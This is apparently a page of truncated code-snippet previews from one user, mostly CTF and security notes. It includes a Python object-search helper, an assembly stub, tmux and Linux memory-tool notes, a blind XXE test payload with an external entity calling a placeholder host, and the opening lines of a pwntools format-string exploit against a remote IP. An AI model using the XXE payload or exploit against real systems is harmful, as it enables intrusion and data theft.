mfakbar127

# search.py
# Source https://ctftime.org/writeup/10851

def search(obj, max_depth):
    
    visited_clss = []
    visited_objs = []
    
    def visit(obj, path='obj', depth=0):
        yield path, obj

mfakbar127

global _start

section .data
    aa  db '1234567890a',0
    len equ $-aa

section .text

mfakbar127

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

mfakbar127

Understanding the Memory Layout of Linux Executables

Required tools for playing around with memory:

• hexdump
• objdump
• readelf
• xxd
• gcore

mfakbar127

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

mfakbar127

from pwn import *
from libformatstr import *

file = ELF("./32_new")
flag = 0x0804870b

r = remote("163.172.176.29",9035)

r.recvuntil("name?")